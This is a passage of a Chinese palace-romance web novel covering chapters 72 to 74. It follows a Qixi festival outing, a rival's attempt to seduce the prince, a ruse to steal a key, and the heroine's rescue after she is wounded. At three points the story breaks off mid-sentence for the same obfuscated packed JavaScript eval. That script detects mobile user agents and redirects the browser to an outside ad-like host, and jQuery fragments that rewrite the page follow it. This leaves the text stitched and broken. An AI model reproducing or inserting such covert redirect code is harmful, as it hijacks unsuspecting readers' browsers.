沿路上,零零散散布置各式各样的摊位,玩具脂粉,还有现场揉巧果的。
难得遇上节日,这些小摊主们,舍不得放过这么好的时机,把店里的精致玩意儿,通通拿出来摆上。
应子清在一个小摊子上,看见卖竹蜻蜓的。
那摊子上还有卖十二生肖的小动物瓷哨,那是一种可以吹出声的小玩具,还有拨浪鼓人偶什么的。围在摊主附近,大多是流着口水的小孩,他们看着桌子上的玩具,垂延欲滴,很想碰一碰,玩一玩。
应子清捡起那只竹蜻蜓,在手中把玩,这一支和刘之衍那只摇摇欲坠的竹蜻蜓很像。
刘之衍看过来,就着她的手打量。
这一下把两人都拉入曾经初见的场景。
“那日想起来,好像恍如隔世。”应子清感慨。
刘之衍眼神变得温和:“我那支竹蜻蜓,应该是在这种地方买的,那是我乳母送我的玩具。她说别的孩子都有,我也应当有一个。”
“有别的宫女见了,笑话她,说太子什么金的玉的没见过?根本看不上那种民间不入流的小玩意儿。”刘之衍说,“不过我告诉她,我很喜欢。”
这个叫姜娘子的乳母,是他的禁忌,亦是他的伤心事。
但刚才他的意思,他们之间,还是度过了一段不错的时光。
应子清笑了:“她听了一定很高兴。”
临走时,应子清买下新的竹蜻蜓,送给他:“我好像没送你礼物?这个就算是了吧。”
刘之衍意外,毫不客气从她手中接过:“为什么?好端端送人礼物,总要有个说法。”
应子清一时觉得不好意思,她想了想,眼带笑意,揶揄道,“不是说人人都有吗?你那支旧了,玩新的吧。不要让别的小朋友看到,免得跟你抢!”
摊子周围挂鼻涕的小孩子,果然向刘之衍,投去羡慕的眼神。
应子清笑吟吟转身,没有留意到刘之衍盯着她的视线。
第一次见她,刘之衍便敏锐地察觉到,此人浑身透着独特的气质,与凝重威严的宫殿处处不同。她的身影,轻而易举吸引他的目光。
以往的东宫,仿若被寒冬笼罩,处处弥漫冰冷与寒意。
自从应子清来了,正日和小宫女们说说笑笑。她用她那种不太守规矩的方式,时而大胆莽撞,时而开随性阔的性格,惹得那些小姑娘特别喜欢她,也驱散了宫殿里虚无寂寥。
用新的竹蜻蜓代替旧的?
就像他遇见应子清,仿佛获得新生,过去充满哀痛的记忆渐渐消散,与她共度的点点滴滴逐渐成为他新的全部。
刘之衍无声微笑,将竹蜻蜓收好,跟了上去。
旁边就是卖花灯的,小摊上堆了好些各色花苞灯,里面蜡烛还是新的。
应子清捡起几个,东看看西看看,这些花灯做得都特别好看,一时挑不出手。
刘之衍在旁边,应子清征求他的意见:“买盏荷花灯,你说怎么样?”
“虽说荷花被视为高洁之物,但荷花从淤泥长出,”刘之衍不太喜欢,“生长之地实在不堪。”
“?”应子清一头雾水,“看看好不好就得了,怎么还挑上了寓意……”
应子清又去桌案上挑了挑,感觉按这个标准,百合菊花也不行了:“那桃花呢?桃花好看,粉粉嫩嫩。”
摊主听了笑眯眯道:“桃花可是个好东西哟!姑娘,桃花有祈盼桃花运的寓意,哎呀,正适合你们这些,等待嫁的少年少女们。你放眼瞧瞧,七巧节,谁手里不拎一盏娇艳欲滴的桃花灯?”
应子清听了,四处打量,发现果然有很多穿齐胸襦裙的女孩们,手里拿着一盏桃花灯,映得她们广袖仙气飘飘,特别好看。
“可以,那我要了。”应子清从腰间掏荷包,准备买了。
刘之衍按住她的手,冷冷道:“桃花艳丽,无端招蜂引蝶,算不得好寓意,简直放浪。”
应子清:“……”
买个花灯而已!至于吗!
这话说得摊主脸色青一阵白一阵,碍于这两个人是来买东西的,摊主硬生生,把呵斥的话强行咽下去,脸上的笑容憋得僵硬。他也不做介绍了,抱着手,等他们自己选去。
应子清觉得,今天不当场买点东西,他们别想离开这个摊位了!
她眼疾手快,随手指了角落的一盏花灯:“我们要这个!定好了,不改了。”
摊主一看,是朵并蒂莲。本来想说几句吉祥话,转念一想,又怕把这笔生意搞砸,他把手一摊开:“并蒂莲花灯,二十文钱!”
应子清数好铜板交给摊主,总觉得摊主收钱的动作,在催他们快走。
刘之衍这次没有挑剔,亲自拿了一支灯竿,借了摊主的火,给这对并蒂莲点亮。
花瓣是用桃红薄纱做的,并蒂莲开出两朵柔美光火。
应子清提着花灯在路上走,左看看右看看,她发现,提这种花灯的女孩很少:“这也不难看,怎么买的人那么少?难道这种灯,容易烧坏?”
桃花灯祈求桃花运,还没出嫁的少女最喜欢买。并蒂莲是已经成婚或是定了亲的少女,才会买的,她们不再祈求桃花运,而是希望夫妻恩爱美满。
旁的路人见一男一女并肩而行,手中提着并蒂莲花灯,只会将他们当作蜜里调油的夫妻,连七巧节也不忘出来,展示他们的甜蜜。
大张旗鼓秀恩爱的人,到底是少数,所以并蒂莲卖得也少。
刘之衍不给她解释,反而嘱咐:“别乱晃,稳稳拿住。”
由靡丽帷幕遮挡的马车,骨碌碌驶向大街,侍卫前呼后拥开道,驱散大街上挡路的人群。
如此赫赫威仪,非等闲之辈,不是王公就是重臣的家眷。
刘之衍伸手护住应子清,退后几步。在附近的各自游玩的苍凛张泰耀香巧语兰,一并赶过来。
“到底是谁家,这么嚣张!”苍凛不是大晋人,说话向来没有遮拦。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109325|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
众人没有回答他,都在观望。
马车行至到普济寺门口,停了下来,一众侍女围拥上去,搀扶女主人下车。
那女人站在车前,回头一望,灯笼映亮女人艳丽的眉眼。
是窦兰芷。
窦兰芷往人群堆里,找了找,然后朝身边的侍女,微一颔首。
那侍女点了头,直直冲刘之衍找来:“殿下,我们家小姐有请。”
刘之衍眉心微蹙,应子清好不容易被他哄着,提着花灯到处溜达。听说并蒂莲花灯需要两个人一起,从头到尾见证蜡烛燃尽,才能长长久久。他还想跟她四处逛逛,很不喜欢有人打扰他们。
那侍女亦不退缩,不卑不亢道:“殿下,我们家小姐有要事相商,是关于王爷的。”
刘之衍转头看应子清,应子清说:“你去看看吧。”
“带路。”刘之衍冲侍女说。
窦兰芷立在普济寺的大门口,睁着那双凤目,定定看过来。那目光看的不是旁人,而是应子清。当她视线,触及应子清提着并蒂莲花灯,仿佛被刺痛般,瞳孔紧缩,眼圈瞬间红透。
刘之衍走过去,却没有当众与她攀谈,他径直跨入普济寺,身影消失的门口。
普济寺那株约有百年之龄的菩提树,为了应景,垂满了红丝绦。
来往祭拜祈福的少年少女,可以买一枚绣有吉祥话语的香囊,系在低垂的树枝下。菩提叶淡淡馨香,萦绕其间。
窦兰芷伸出白皙的手,随便握住一枚随风摇动的香囊,转过来一看,上面写着:【缘定三生】
有多喜欢才会定下三生三世?
又或者,此生无缘,只能与情郎,约定生生世世。
“听说,在普济寺求姻缘很灵验。刘之衍,你有愿望吗?”窦兰芷轻声问。
刘之衍负手站在另一边,神色平静:“我以为,上次我把话说得很清楚。”
“婚礼那天,你来了。”窦兰芷抬眼。
“不是为你。”刘之衍的视线,可有可无地落在她身上。
窦兰芷抿起红艳的唇,摇了摇头:“可是你害我多想。”
她用的胭脂极好,红唇颜色极正,唯有她这样高傲的性子,精巧张扬的脸,方才压得住这么大艳的红。
应子清被窦兰芷的侍女强行邀请过来,正好听见这句话。
那侍女眉眼锋利,瞪着又大又圆的眼睛,透着凶悍。她粗壮有力的手臂,扣住应子清的肩膀,不让应子清出声,也不让她离开,要她在这里听两人的谈话。
普济寺为了庆祝七巧节,在菩提树的周围,缀了一簇簇小巧玲珑的花灯笼。花影火光重重,有两道人影,在后面躲藏。
窦兰芷眼风,朝花灯笼扫了过去,红唇轻轻一勾。
再抬眼,窦兰芷紧紧攥紧冰凉的手指,莹亮蔻丹在掌心掐出道道血痕。她走近刘之衍几步,扬起那张明艳的脸,一双向来高傲凌厉的凤目,泪珠盈睫:“刘之衍,我并未圆房。第一次,我希望那个人是你。”
话音落下,窦兰芷长睫颤了下,雪白娇美的脸,红了。
这样的话,放以往,她是说不出口的。
可她大概疯了。
“为什么不可以?这样的例子,在史书比比皆是,不算奇怪。”窦兰芷咬住红唇,像是鼓励自己般,“你不是想要安景王?”
“你想要王府的动向消息,我都给你。”
“你想要窦家的支持,我也能给。”
“你想坐上那个宝座,我就送你上去。”
窦兰芷一声一句,勾人撩拨。
她知道自己牢牢抓住天底下男人最不能抵抗的两点,野心与美人。
这两个,她都有。
应子清本该在心底八卦的“哇哦”一声,可是那一刻,她很清晰地看见,刘之衍神色微动,像是终年平静的湖泊,倏尔泛起一丝波澜。
应子清没听见自己“哇”出来,看戏的促狭表情消失得一干二净,脸色微微发了白。
身旁的侍女一心一意观察应子清,此时露出一丝冷笑。
72. 第 72 章
趁刘之衍愣怔之际,窦兰芷小心翼翼踏步上前,微微扬起脸,那是一个向情郎索吻的姿态。
一幅鸳鸯交颈的团扇,徐徐升起,挡住应子清的视线。
接下来的画面,属于非礼勿视的范围,可不能乱看了。
目的达到,侍女眼含得意。
应子清看了她一眼,转身离去。
花灯笼另一边,却是另一幅画面。
刘之衍挑起点火用的长杆,点在窦兰芷修长的脖颈上,一点点将她推开。
那位置不偏不倚,正好杵在她颈部的大动脉。
若刘之衍手中,拿的是一柄刀。此刻必定血溅三尺,遇刺的人连声音也没机会发出,萎靡而去。
窦兰芷对杀戮之事,并非一无所知,察觉到他真实的杀意,脸色煞白。
刘之衍那双让她痴迷的黑眸,看着她时,淬了寒冰般冷冽,“窦兰芷,你不妨抽空,请教一下你的父亲窦靳。如果窦岚将军的位置,是别人想给就给,想收就能收,你猜窦岚会怎么做?”
“哦,我忘了,此刻窦靳正跟着窦岚,在西北跟摩罗谈判。”刘之衍道,“我告诉你也一样,窦岚会想办法除掉那人——我也一样。”
言毕,刘之衍将长杆随手一扔。
窦兰芷仿佛坠入冰窖,后颈竖起阵阵寒毛,而她白皙的脖颈上,留下一道丑陋的黑迹,那是点火长杆上留下的碳印。
刘之衍心里只有一股被打断约会的不悦,离去前,他懒得再看她:“从前我说的很清楚,别来烦我,不要让我说第三遍。”
苍凛从房檐一跃而下,正正好拦在应子清面前:“应司直!听说你找我?哎,你怎么满脸不高兴!”
应子清听他语气揶揄,不由怀疑:“刚才,你是不是都看见了?”
苍凛抱起双臂,眉飞色舞:“看见了!还看见你很生气。”
应子清看向普济寺的后方:“我找你有事,我准备去一个地方,需要你跟我一起。”
苍凛想了想:“做什么?”
“太子今晚在禅心雅园布局,搜查钥匙。”应子清沉声,“单光拿到账本还不够,我打算做另一件事。”
苍凛听得认真:“什么事?”
“逼反!”应子清抬起眼。
“把对方的人变成自己的人,这种‘策反’我听说过。逼反?你是想把对方的敌意,暴露出来?第一回听说!”苍凛越想嘴角升得越高,“有意思!”
两人边说话边走路,离热闹的大街越来越远。
雅园布置在一处静谧之所,四周栽种茂密大树,将小院大门遮蔽在树荫之下,有避世隐居的意思。门口陈列两座石狮,彰显主人不凡身份。
阴影处,两人商议着对策,苍凛悄声问:“你还愿意为他做事?”
应子清面无表情:“不帮他?那好,你只手空拳,自己去重振巴孟族。”
苍凛又笑,露出一口洁白的牙贝:“我有愿望,所以愿意为他效劳,你呢?”
应子清觉得他的话真多:“你怎么知道我没有愿望?”
“你想做他的妃子之一?还是太子妃?”苍凛紧紧盯着她。
她想,她是为了完成任务。
“别的女子的愿望,非得是我的愿望?但我的愿望不能告诉你。”应子清顺手一指,“闲话少叙,近日姜泽语在里面守护那把秘密钥匙,而我,需要你把人引出来!”
苍凛笑了声,他蹲下身,紧了紧腿上的绷带:“遵命。”
苍凛扮作闹事的醉酒之人,一步一拐,走到禅心雅园,砰砰捶门。
应子清从腰带解下一个事物,那是她很久没有碰过的东西。
苍凛闹事闹得极好,不一会,禅心雅园院门大开,一群家丁点着火把,拿着武器,朝苍凛逃逸的方向追去。
姜泽语也被惊动,从府中走出。他站在门口,安排调度人马,遥遥看了眼醉汉,眼露鄙夷:“被酒糊了心眼的东西!闹事闹到王爷头上!定叫他不得好死!”
应子清见他身边不过寥寥几人,正是说话的好时机,当即走出去:“姜先生,许久不见。”
只见月下走出一女子,竟是十二死士杀都杀不死的灵清子!
姜泽语冷笑:“山人灵清子,好兴致!不在东宫呆着保命,怎么来这里转圈,嫌自己的命太硬吗?”
应子清闻言,摆出铁青的脸:“我为什么来这里,姜先生难道不知道?近日朝中的消息,姜先生不会一点都不清楚吧!”
姜泽语被她理直气壮的语气,说得一愣:“你指的什么?”
几番接触,应子清早知此人无能胆小,最怕失去权势。掌握一手消息,是他在安景王身边的立身之本。如果有什么重要消息,是他探听不到的,定会着急。
应子清道:“运往受灾地区的粮道,出了大问题!朝廷财政紧张,发放给运输的民夫的饷银,有拖欠的征兆……”
这些内容向来虚虚实实,结合在一起,叫人难辨真假。
眼看她讲的内容越来越重要,姜泽语把手一伸:“慢着!”
姜泽语左右看看站在身边的人,眼底划过机警之色:“灵清子,此处不是说话的地方!请随我来!”
见他果然中计,应子清亦不敢掉以轻心。
毕竟,姜泽语深知,应子清没有功夫在身,他随手招出一死士,应子清毫无抵抗之力。
两人走到禅心雅园门口的一棵树下,姜泽语眯起眼,眼里的轻视,根本遮不住,他假意诱哄道:“粮道出了问题,民夫饷银拖欠,然后呢?”
公然被小看,让人心中不爽,应子清从善如流,假意生气:“姜先生想骗我消息?我凭什么诉你!”
姜泽语冷笑:“灵清子,你这点消息,明早我派人去打听,不就全都知道了?趁现在我觉得还有价值,不如速速告诉我。”
“我有条件。”应子清侧过身,从腰间抽出丝帕,按住眼角,“姜先生,说什么灵清子,我只不过是个无权无势的女人。我在太子殿下身边做小伏低,想谋求什么,姜先生难道猜不到吗?”
姜泽语看了她半晌,心中冷笑,还以为是什么不出世的绝顶天才,说到底心思还是跟想嫁人的女子一般。
他眼珠转了一圈:“哦?我一介书生,能做什么?”
应子清垂眸,月光下,白皙清秀的脸上,有隐隐凄楚之色:“贵府新来的世子妃,是何等高傲的人物,皇后也肯亲自到圣人面前,替她求一份薄面。世子妃心中倾慕谁,姜先生不可能不知道。有她在,我怎么近得了太子的身边?我的愿望很简单,把你们的世子妃带走,离长安城远远的!”
姜泽语不耐烦:“这是世子的家务事,我不可能掺合。”
“是吗?”应子清抬起眼,直视他,“若是我说,王爷越早离开长安城,越对他有利呢?”
姜泽语抚摸自己的扳指,看着她那双令人难忘,透着狡黠的双眸:“为什么这么说?”
应子清道:“我刚才说得很清楚,太子事物繁忙,有薛宰相帮忙,却办不好小小的赈灾济贫之事,削弱太子的权力,现在事最佳的时候!”
姜泽语笑起来:“这对你有什么好处?”
应子清摇头:“唯有太子手忙脚乱,才能凸显我的用处,唯有太子心急如焚,我才好软语温言,安抚他的心……”
听到这里,姜泽语已经信了十足十:“灵清子,这点消息,还不够啊!”
“若是我再加一条,圣人听说翟容在长安城露富,”应子清故意压低声音,“心中猜忌王爷富可敌国,成了心头大患……”
“那又如何!”姜泽语打断她,冷冷道,“我们早知道圣人不满王爷,已经不是一两天,要发难,可要有个由头!”
“这难道不是理由?”应子清将之前拿出来的翠绿玉石符节,亮给姜泽语看。
那上面大大的“安景王”三个字,不容作假。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120462|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应子清冷笑:“若是我亲自捧了这东西,到太子面前,将王爷的心思逐一剖白,你待如何!”
不等姜泽语反应,应子清忍不住戏谑:“如此好的时机,你们还在等!当初送王爷一乌龟,果然应景!王爷与他的谋士做事,缩头缩尾!什么‘载梦登天’,你们等一百年去吧!”
应子清此番半真半假,既诱哄又敲打,言辞变幻无常,就是为了扰乱姜泽语的心思!
圣人与王爷面和心不和,龃龉多年。安景王既有问鼎之心,他必然希望稳扎稳扎。应子清便借着这番挑拨,让王爷的第一军师谋士,撺掇安景王暴露自己的野心!
唯有安景王自己先乱起来,朝天局势才会动荡,那本机密账本才能成为致命利刃,将安景王彻底钉死!
却在这时,禅心雅园后方,忽然喧哗起来:“有贼!姜先生,有宝物被盗!“
数条事件同事塞入姜泽语的眼前,他一时搞不清楚发生什么,迟钝转过身,指着应子清道:“灵清子!你找死!”
看来他已经混乱,这话,也不知指的是什么意思。
应子清在这边拖住姜泽语,对影枭盗走钥匙,亦是一大帮助。
事情已成,应子清不能久留,拔腿就跑。
刚刚还柔弱可怜的少女,一转身,跑得比兔子还快,唬得姜泽语一阵迷糊。
“姜先生!”侍卫急匆匆来到姜泽语身边,请求道,“小的该如何?禅心雅园这边人手不够,拿下贼人,还是拿下那女子?”
姜泽语沉吟半晌:“拿下贼人!那女子不成气候,随便派一人追上,能杀便杀!”
应子清在长安城的巷道里,左拐右逃。
苍凛不在身边,影枭与夜鹰多半不知道她在这里,若有一人追上,她可就倒霉了!
追来的人是带功夫的家丁,那人会听足音,很快追上应子清那条路。
男人的跑步声,在身后响起。
应子清心道不好,这些人手段是一个比一个狠,她正思索该如何呼救逃命……
一道飞刃呼啸而来,击中应子清的后肩!
应子清狠狠吃痛,咬紧牙关不肯出声,凭伤口传来的痛感,应该是一枚暗器!
今夜是七巧节,长安城大街必定人来人往,此人穿的是家丁服饰,与死士不同。只要她跑到大街上,那家丁必定不敢造次。
而长安城的正街就在前方,应子清加快步伐,拼了命往前跑。
大概是逃命逃出经验,这么漫长的路程,应子清带着伤,脚步丝毫没有停顿。她在心底嘲笑,当年体测,每次遇到八百米考试,她都要哀鸿遍野。现在让她回去考试,她都有信心拿第一了!
巷道无灯火,黑暗浓稠如墨,正街就在眼前,那里的点亮的各色花灯,仿佛光明。
应子清拼尽全力,一跃而出!
糟糕!正街上,早就空无一人!
她方想起这里是哪里,这条正街,是从宫里出来的路,很少有民众来这里溜达。
就在她感觉绝望的时候,踢踏的马蹄声,从远方传来,不多时一辆马车,缓缓驶来。
应子清向后看一眼,那家丁也听见了,脚下慢下来,脸上闪过一丝犹豫。
应子清抓住这个时机,毫不犹豫朝那马车奔去,挥舞双手:“停车,请你们救我!”
马车内传出轻微的响动,似是有人在吩咐。听见了,说了句什么。
那马夫一拉缰绳,马车稳稳停下来。
应子清心里泪流满面,果然还是好心人多!她手脚并用,想爬上马车,可是这个时候肩膀传来剧痛感,她痛得嘶了声,手上的动作一滞。
千钧一发之际,车帘“唰”地掀起,一双男人手匆忙伸出,有力地环住她的手臂,稳稳将她扶住,顺势一带,将她安全带入车内。
应子清惊魂未定,抬眼一看:“是你!”
谢言昭脸色不太好,语气沉沉:“你怎么会招惹这种事!”
73. 第 73 章
一听谢言昭满是严厉的兄长语气,应子清疼也顾不上,心里“咯噔”一下。就怕他一开口,满嘴都是“之乎者也”的说教。
应子清双手一合,满脸求饶:“谢大人,救人要紧,请先帮小女渡过难关!”
谢言昭是真的生气,脸色铁青,瞪着她:“你刚才上马车的时候,动作不太顺畅,为什么?”
不被提醒还好,一提及,应子清觉得伤口的地方,疼得她太阳穴隐隐作痛。她伸手,抹了下额间凝了细密的汗,唇色苍白:“我被暗器打伤了……”
“狂悖!”谢言昭白皙面容,浮起一丝怒色。
常年性情温和的人乍然生气,看着,倒比夜叉生气还叫人觉得可怕。
应子清眨了下眼,心中默默无语。她有求于他,还能怎么办?只得垂头,作出认错的模样,随他怎么说好了,她都不顶嘴。
谢言昭转头叫丹墨:“去查,谁家的家丁,胆敢放肆!”
应子清一愣,原来不是骂她的。
外面坐的丹墨,亦是郑重:“是!”
追杀应子清的家丁,与其他家丁汇合。这几人手持棍棒,感觉壮了声势,他们互相点头,一起从小巷子里跑出去,阻拦应子清跳上去的马车。
丹墨一脚踩在高处,冷笑道:“好啊,我还没找上你们,你们倒自己撞了进来!”
其中一家丁,将棍棒伸长:“少废话!把刚才的女子交出,我们饶了你!”
马车帘子之后,应子清不由紧张。谢言昭神色淡然,眼睫微垂,似是根本不把外面发生的事,放在眼里。
丹墨岂是吓大的,当即怒喝:“不知死活的孽障,吃了熊心豹子胆!中书舍人谢大人的马车,你们也敢拦!天子脚下,你们擅自手握刀兵!赶紧报上来历,我定叫你们有来无回!”
那几名家丁唬了一跳,又去看马车上挂的铭文,果然写了低调的“谢”字。谢言昭平日素净惯了,马车亦无奢侈装饰。王府家丁眼拙,只当是寻常人家的车子,所以敢拦。
又是谢家公子,又是御前红人,谢言昭若是碰见在附近巡逻的差役,随便招招手,就能让他们吃尽苦头。
家丁们对视一眼,惹不起躲得起,迅速撤离!
丹墨才不肯放过他们,对身边一贴身护卫命令道:“刚才公子有话,要他们受受教训!”
“是!”谢府的护卫抱起刀,顷刻间追上一人。
丹墨看了会,隔着帘子回:“公子,是不是通知官府,将这些地痞流氓拿下?”
应子清不想闹大,赶紧摇了摇头,谢言昭道:“不必,继续赶路。”
按道理他们该直接回去的,但此时多了个人,丹墨顿了片刻:“公子,我们去哪?”
谢言昭:“回谢府。”
应子清微怔,看来,谢言昭不愿意送她一程么。也是,解了她的危难,还嫌不够吗?
应子清没想太多,抬手对谢言昭作礼:“多谢,谢大人救我一命!来日谢大人若有需要,小女定会倾尽全力,以报大人救命之恩……”
谢言昭转过脸,近距离看着她。少女刚才经过一番奔跑,头发乱得没样子,几缕发丝散落,纠缠在凝脂般白皙的脖颈上,无端多了几分风情。她脸颊飞起不正常的红晕,眼眸低垂,偏偏露出乖巧听训的模样。
谢言昭抿了下唇,温和解释:“不是不送你,而是我觉得,你跟我回谢府比较好。东宫给你安排如此危险的任务,你必是受尽了委屈,回去了也是难过。如此,倒不如跟我一起回去,改日我陪你去东宫请罪。”
都说谢言昭温润如玉,谦谦君子,果然不错。
只不过,他好像误解了什么,应子清笑:“不是这样的,殿下他没有为难我……”
谢言昭摇摇头:“在我面前,不必矫饰。为人臣下,哪有不难过的,女子为官,又比旁人艰难数倍。应司直,就这样定了吧。”
……
怎么感觉解释不清楚了啊!应子清头疼。
但现在不是头疼的时候,而是肩膀痛!被暗器打伤的地方,还没有做过处理,而且她很担心,暗器上会不会有毒。
应子清身上有临时救治的药,她咬了咬牙,请求道:“谢大人,能不能转过身,我想处理我的伤口!”
谢言昭眉心微微皱起:“需要我帮忙吗?”
应子清:“在后肩,我要脱衣服看看。”
谢言昭微怔,白皙的面庞耳朵,烧起了罕见的绯红。他当即转过身,以背对着她的守护者姿态,温声道:“应司直请自便,请放心,我不会偷窥……”
应子清自然相信他。
后肩出了血,和外衣那层纱黏在一起,应子清忍着疼痛,脱了下来。外衣残存的血迹殷红,没有别的颜色,那就是无毒。但伤口的位置太往下,她在抹胸里面,穿了件白丝小衣,正好遮挡住了。应子清想给伤口上药,还得脱下这层裹胸用的小衣。
应子清抬眼,谢言昭背对着她,背脊坐得端正,俨然是正人君子。
应子清虽然对他放心,还是背转过身,悄悄解开小衣。她从腰间拿出药丸,嚼碎了,敷在裂开的后肩上。
药性开始起作用,渐渐生出清凉之意,她再给自己服了一丸。
前方的马匹,忽然嘶鸣一声,马夫勒停了马,整个车身突然晃了下,随后停下。应子清慌忙把衣服穿好,披上外衣。谢言昭依然背对着她,但他没有出声。
马车之外,丹墨喝令:“什么人!”
外面无声无息,无人应答,只听阵阵马蹄声,犹如战鼓,一声接一声踢踏而来,仿佛有千军万马将他们包围。
谢言昭听出动静不对,他低声对身后的应子清道:“你且在这里别动,我出去看看。”
掀帘出去,谢言昭仍不忘把车帘落好,把她严严实实藏在车内。
出去了,谢言昭才知为何丹墨嗓音发颤。
数千人玄色披风,黑底银纹盔甲的东宫亲卫,站开一排,宛如铜墙铁壁,将整条大街牢牢封锁。
刘之衍为首,他御着月影,缓慢来到谢言昭面前,居高临下道:“子清是不是在你马车里?”
听说应子清离开普济寺,与苍凛一起,到禅心雅园闹事。刘之衍心下一紧,唯恐她遇上什么意外,当即召来亲卫,前去要人。
兴师动众将千名亲兵,开到禅心雅园大门口,姜泽语一见这阵仗,人也呆了。不过姜泽语交不出人,说早就跑了。
刘之衍不相信他的推辞,又分外担心应子清的安危,命人以禅心雅园为中心点,派出精锐亲兵,沿着周边道路开展地毯式搜查!
路上遇到的所有马车,全被查了一遍,刘之衍自然不肯放过谢言昭这一辆。
谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146372|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言昭没有回答,反而不疾不徐:“殿下,眼下是亥时,你在这夜深人静之时,贸然出动亲兵,在长安城四处搜罗。明日朝堂之上,难免有一份奏折,摆在圣人案头!”
月影感受到谢言昭话里藏针,不禁激起几分战意,不住刨蹄子。
刘之衍双眸微微眯起,眸中已有冰霜之色:“中书大人,这是何意?”
谢言昭抱起双手,作揖道:“下官不知应司直何故得罪了东宫殿下,还请殿下不要责怪于她!”
“你不知道她为何得罪我,就敢替她求情?”
再不出去,这两人针尖对麦芒,恐怕要怼起来。
应子清终于穿好衣服,再也听不下去,赶紧掀开车帘,跳了出去。
刘之衍见谢言昭果然将应子清藏在他的马车里,而且,不知道要带去哪!他眼里闪过凶悍的戾气,脸色十分难看。只不过眨眼间,他将这股怒气藏得很好。
应子清转向谢言昭,惭愧道:“谢大人,我刚才就说了,这是个误会!东宫并未为难我,是我没来得及解释……”
刘之衍根本不给她说话的时间,打马上前,一把将应子清捞起,放在自己的鞍前。他冷冷的视线,在谢言昭身上,停留片刻,谢言昭亦是不卑不亢,平静对视。
刘之衍牵住缰绳,一手牢牢扣住住应子清的腰,冲四周的亲兵吩咐:“人找到了,撤。”
月影得了新命令,振奋地嘶鸣,撒开蹄子,在长安城的正街上跑起来。
一伙东宫亲卫,大军压境似的黑压压地来,又似一阵黑旋风,退得干净利落。
谢言昭直挺挺站在原地。
丹墨不知所以,陪着他站了一会,小声询问:“那、那公子,我们这会儿该回府了吧?”
谢言昭仍然望着应子清离去的方向,许久,他回身上了马车。
丹墨与马夫同坐,马夫挥了挥鞭子,车子再度走起来。
车帘之后,谢言昭扫了眼马车内,落下的东西,一件染了血迹的小衣。
是应子清匆忙间落下的。
谢言昭眉心微皱,有些呆愣的,看着少女遗留下的私密小衣。那柔软如月色般朦胧的轻纱,仿佛还带着少女的体温与气息。
谢言昭有些为难,不知道该怎么处理这件私密之物。总不能还给她,又或者,不还给她……
外面的丹墨掀开帘子,探进头来:“公子?哎?那是什么东西?小的拿去扔了吧?”
谢言昭下意识将小衣攥进手里。抓住小衣,他像抓住不为人知的秘密,心脏不受控制般狂跳,耳根子“唰”一下红了:“……不必,我来处理。”
丹墨觉得奇怪,但没放在心上,他挪开视线,转头去看道路:“公子且再坐一坐,快到府上啦。”
谢言昭“嗯”了声,把小衣收进怀里的那瞬间,他鬼使神差地,放在鼻端,轻嗅一下。
……
谁都不敢在这个时候,撞到太子殿下跟前。
刘之衍面色阴郁,从马厩回寝殿的路上,一路拽着应子清的手腕,往前走。
香巧和语兰两个胆子再大,也不敢说话,只得远远跟在后面,小心翼翼提醒:“终于把你们盼回来了,子清姐姐,太子殿下从普济寺出来的时候,找了你很久……”
寝殿“砰”地一下关上门,把旁人的眼色与担忧,全阻拦在外面。
74. 第 74 章
应子清被摔入松软的大床,再柔软的被褥,碰到后肩的伤口,仍是刺激得她从喉间,发出一声痛呼。
刘之衍察觉到了,敏锐道:“你受伤了?”
应子清艰难点下头:“不过我上药了。”
“让我看看。”刘之衍再度抓住她的手腕。这时,他用的力气柔和了些,但仍是带着不容抗拒的力量。
应子清被他翻转过身,外衣被瞬间脱下。
少女薄薄的后背,露出狰狞的一道伤口,上面敷了层药。脂玉般细腻白皙的皮肤,仿佛被人恶意用丑陋的颜料,肆意乱涂。不仅破坏了美感,还留下大片淤紫,显得触目惊心。
刘之衍眉心蹙了下,又松开。他抚摸上去,指尖沿着伤口的四周,轻轻摩挲:“疼吗?”
“不疼……”应子清给他碰得发痒,下意识瑟缩,避了一避。
肩膀还露在外面,生出凉意,应子清伸手想拢紧外衣,却对上刘之衍黑沉的眼睛。那里面憋着一股幽幽的暗火,好像一点就会炸。
应子清郁闷,怎么好端端的,他生这么大气!难不成刚才有美人献吻,不能让他心情痛快点吗?
但她气场到底不如他。而且,刚才听语兰她们说,刘之衍找她找的心急如焚。
应子清自己先气弱了,从袖口拿出一枚钥匙,摊在手心里献给他:“你看!我拿到了什么!”
方才趁乱时,影枭丢给她的。
这把能打开翟容私藏账本的密室钥匙,终于弄到手了。
刘之衍看也不看,单手握住她的下巴,冷漠的语调像淬了冰:“谢言昭有没有碰过你?”
“?”应子清震惊了下,瞪大眼睛,“你在说什么?”
